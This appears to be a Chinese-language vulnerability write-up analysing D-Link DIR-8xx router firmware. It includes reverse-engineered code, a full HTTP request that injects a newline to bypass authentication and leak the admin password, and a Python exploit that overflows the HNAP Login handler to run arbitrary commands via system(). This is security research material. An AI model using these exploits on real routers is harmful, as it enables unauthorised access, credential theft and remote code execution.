D-Link DIR 8xx 漏洞分析

admin 2024年1月4日23:28:29D-Link DIR 8xx 漏洞分析已关闭评论51 views字数 7656阅读25分31秒阅读模式

老外披露了几个 D-Link DIR 8xx 系列的漏洞,作为练手,对其分析、学习了下~

参数注入导致认证绕过

/usr/sbin/phpcgi 负责响应对于 .php、.txt、.asp 的请求,其实质为 /htdocs/cgibin 的链接文件:

➜  dlink-dir8xx ls -l _DIR890LA1_FW108b03.bin.extracted/squashfs-root/usr/sbin/phpcgi
lrwxr-xr-x  1 chu  staff    14B  9 18 14:58 _DIR890LA1_FW108b03.bin.extracted/squashfs-root/usr/sbin/phpcgi -> /htdocs/cgibin

进而去逆向 /htdocs/cgibin

int __cdecl main(int argc, const char **argv, const char **envp)
{  [...]  ret = 1;  ptr = strrchr(*argv, '/');  if ( ptr )    filename = ptr + 1;  else    filename = *argv;  if ( !strcmp(filename, "scandir.sgi") )  {    ret = sub_1D214(argc, argv);  }  else if ( !strcmp(filename, "phpcgi") )  {    ret = handlePhpCgi(argc, argv, envp);  }  else if ( !strcmp(filename, "dlapn.cgi") )  {    ret = sub_F9E8(argc, argv, envp);  [...]

程序通过判断文件名来对请求进行不同的处理。跟进 handlePhpCgi 后可以看到对请求参数、请求头进行解析后将执行权交给 php,解析过程如下:

int __fastcall handlePhpCgi(int argc, char **argv, char **envp)
{  [...]  ret = -1;  buf = 0;  if ( argc > 1 )  {    buf = Malloc0x18();
   if ( buf )    {      AddStr(buf, argv[1]);      AddChar(buf, '\n');      AddEnvp(buf, envp);      method = getenv("REQUEST_METHOD");
     if ( method )                             // 解析参数      {
       if ( !strcasecmp(method, "HEAD") )        {          ret = ProcessHTTPRequest(GetKeyValue, buf, 0x80000u);        }        
       else if ( !strcasecmp(method, "GET") )        {          ret = ProcessHTTPRequest(GetKeyValue, buf, 0x80000u);        }        
       else        {          
         if ( strcasecmp(method, "POST") )            
           goto LABEL_16;          ret = ProcessHTTPRequest(PostKeyValue, buf, 0x80000u);        }  [...]

对参数进行解析后,将其储存以键值对的形式(_TYPE_KEY=VALUE,TYPE 为 GET、POST、SERVER),并以 \n 分隔储存到一字符串中,调试如下:

图片

然后进行认证检查,将检查的结果赋值给 AUTHORIZED_GROUP 并保存到字符串中作为全局变量传递给 php:

[...]
if ( ret >= 0 ) {    authFlag = CheckAuth();               // 是否认证通过    sprintf(&s, "AUTHORIZED_GROUP=%d", authFlag);    AddStr(buf, &s);    AddChar(buf, '\n');    AddStr(buf, "SESSION_UID=");          // 设置 Cookie    AddCookie(buf);    AddChar(buf, '\n');    msg = GetMsgPtr(buf);    ret = executePhpScript(0, 0, msg, stdout);// 执行 PHP 脚本} [...]

在整个解析流程中并没有对参数中的 \n 进行过滤,所以如果通过注入 \n 进而注入 AUTHORIZED_GROUP 就可以绕过认证检查,未经授权执行 php 脚本。

分析 /htdocs/web/getcfg.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml><? include "/htdocs/phplib/trace.php";

if ($_POST["CACHE"] == "true") {
   echo dump(1, "/runtime/session/".$SESSION_UID."/postxml"); }
else
{
   if($AUTHORIZED_GROUP < 0)    {
        /* not a power user, return error message */         echo "\t<result>FAILED</result>\n";
        echo "\t<message>Not authorized</message>\n";    }
   else    { // 认证通过        /* cut_count() will return 0 when no or only one token. */        $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");        TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
       $SERVICE_INDEX = 0;
       while ($SERVICE_INDEX < $SERVICE_COUNT)        {
           $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");            TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
           if ($GETCFG_SVC!="")            {
               $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
               /* GETCFG_SVC will be passed to the child process. */                // 执行 SERVICES 参数中的脚本                if (isfile($file)=="1") dophp("load", $file);            }
           $SERVICE_INDEX++;        }    } }?></postxml>

在认证通过后程序获取 $_POST["SERVICES"] 参数,将其拼接到字符串中进行包含。/htdocs/webinc/getcfg/ 目录(也可以通过 ../ 跳转目录)下为路由的配置文件,比如 DEVICE.ACCOUNT.xml.php 中保存着路由的管理密码:

[...]
foreach("/device/account/entry") {
   if ($InDeX > $cnt) break;
   echo "\t\t\t<entry>\n";
   echo "\t\t\t\t<uid>".       get("x","uid"). "</uid>\n";
   echo "\t\t\t\t<name>".      get("x","name").    "</name>\n";
   echo "\t\t\t\t<usrid>".     get("x","usrid").   "</usrid>\n";
   echo "\t\t\t\t<password>".  get("x","password")."</password>\n";
   echo "\t\t\t\t<group>".     get("x", "group").  "</group>\n";
   echo "\t\t\t\t<description>".get("x","description")."</description>\n";
   echo "\t\t\t</entry>\n"; } [...]

完整利用请求如下:

POST /getcfg.php?a=b%0aAUTHORIZED_GROUP%3d0 HTTP/1.0
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ko;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

SERVICES=DEVICE.ACCOUNT HTTP/1.1 200 OK Server: WebServer Date: Tue, 19 Sep 2017 05:21:34 GMT Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
[...]
               <uid></uid>                <name>Admin</name>                <usrid></usrid>                <password>1qaz2wsx3edc</password>                <group>0</group>
[...]

获取到管理密码后可以通过上传固件等方式达到代码执行的效果。

HNAP 栈溢出

漏洞存在于针对 HNAP 请求的响应中,同样位于 /htdocs/cgibin 中:

int __cdecl main(int argc, const char **argv, const char **envp)
{    [...]
   else if ( !strcmp(filename, "hnap") )    {      ret = handleHNAP(argc, argv, envp);    }    [...]

跟进 handleHNAP,其逻辑如下:

int __fastcall handleHNAP(int argc, char **argv, char **envp)
{  [...]  ret = 0;
 memset(&s, 0, 0x100u);  authorization = getenv("HTTP_AUTHORIZATION");  soapaction = getenv("HTTP_SOAPACTION");  method = getenv("REQUEST_METHOD");  a1 = 0;  hnapAuth = getenv("HTTP_HNAP_AUTH");  cookie = getenv("HTTP_COOKIE");  referer = getenv("HTTP_REFERER");
 memset(&name, 0, 0x100u);
 if ( soapaction )  {
     if ( strcmp(soapaction, "http://purenetworks.com/HNAP1/GetDeviceSettings")      && strcmp(soapaction, "\"http://purenetworks.com/HNAP1/GetDeviceSettings\"") )      {
       if ( strstr(soapaction, "http://purenetworks.com/HNAP1/GetCAPTCHAsetting") )        {          soapaction = "http://purenetworks.com/HNAP1/GetCAPTCHAsetting";
         if ( !strcasecmp(method, "POST") )            ProcessHTTPRequest(0, 0, 0);          ret = sub_19C48(cookie);
         goto LABEL_46;        }
       if ( strstr(soapaction, "http://purenetworks.com/HNAP1/Login") )        {          soapaction = "http://purenetworks.com/HNAP1/Login";          ret = HNAPLogin(cookie);
         goto LABEL_46;        }  [...]

根据 HTTP_SOAPACTION 的不同进入不同的处理分支中,跟进登陆分支 HNAPLogin 函数:

int __fastcall HNAPLogin(char *cookie)
{  [...]  buf = Malloc0x18();  v36 = 0;  v35 = 0;  ProcessHTTPRequest(GetKeyValueByTag, 0, 0x10000u);  msg = GetMsgPtr(buf);  GetValueByTag(msg, "Action", &action);  v2 = GetMsgPtr(buf);  GetValueByTag(v2, "Username", &username);  v3 = GetMsgPtr(buf);  GetValueByTag(v3, "LoginPassword", &loginPassword);  v4 = GetMsgPtr(buf);  GetValueByTag(v4, "Captcha", &captcha);  src = &username;  v34 = 0;  v32 = -1;  v35 = sub_10C0C(&v32);
 if ( v35 >= 0 )  {  [...]

通过 GetValueByTag 解析请求中的 POST 数据(<key>value</key>):

char *__fastcall GetValueByTag(char *data, char *tag, char *dst)
{  [...]
 sprintf(&tagStart, "<%s>", tag);
 sprintf(&tagEnd, "</%s>", tag);  startLength = strlen(&tagStart);  v14 = startLength + 1;  ret = strstr(data, &tagStart);  valueStart = ret;
 if ( ret )  {    valueStart += startLength;    ret = strstr(valueStart, &tagEnd);    valueEnd = ret;
   if ( ret )    {      valueLength = valueEnd - valueStart;
     if ( valueEnd - valueStart >= 0 )      {
       strncpy(&value, valueStart, valueLength);        v16[valueLength - 0x414] = 0;        ret = strcpy(dst, &value);      }    }  }
 return ret; }

可以看到,程序未对值长度进行任何判断就将其复制到字符串中(strcpy),导致了栈溢出。

➜  dlink-dir8xx checksec _DIR890LA1_FW108b03.bin.extracted/squashfs-root/htdocs/cgibin
[*] '/Users/chu/Desktop/dlink-dir8xx/_DIR890LA1_FW108b03.bin.extracted/squashfs-root/htdocs/cgibin'
   Arch:     arm-32-little    RELRO:    No RELRO
   Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8000)

程序只开启了 NX 防护,但代码中有多处 system 的调用,并且在函数返回时 R0 指向输入的数据,所以很容易构造 ROP 链:

def exploit(host, port, cmd):
    cmd = cmd if cmd.endswith(";") else cmd + ";"
    payload = "<Action>{}".format(cmd)
    payload += "A" * (StackSize - len(cmd)) + p32(0xffffffff) + "A" * JunkSize
    payload += p32(CallSystem)[:3]                                              # avoid "\00"
    payload += "</Action>"

    url = "http://{}:{}/HNAP1/".format(host, port)
    header = {
       "SOAPACTION": "http://purenetworks.com/HNAP1/Login",
       "Content-Type": "text/html"    }
   try:        resp = requests.post(url, payload, headers=header, timeout=3)        resp.close()
   except Exception as ex:
       return "error: {}".format(ex)
   return resp.text

利用如下:

图片

点击『阅读原文』可下载 Bin 文件及 IDB 文件。

引用

  • Enlarge your botnet with: top D-Link routers (DIR8xx D-Link routers cruisin' for a bruisin'):https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月4日23:28:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D-Link DIR 8xx 漏洞分析http://cn-sec.com/archives/2365703.html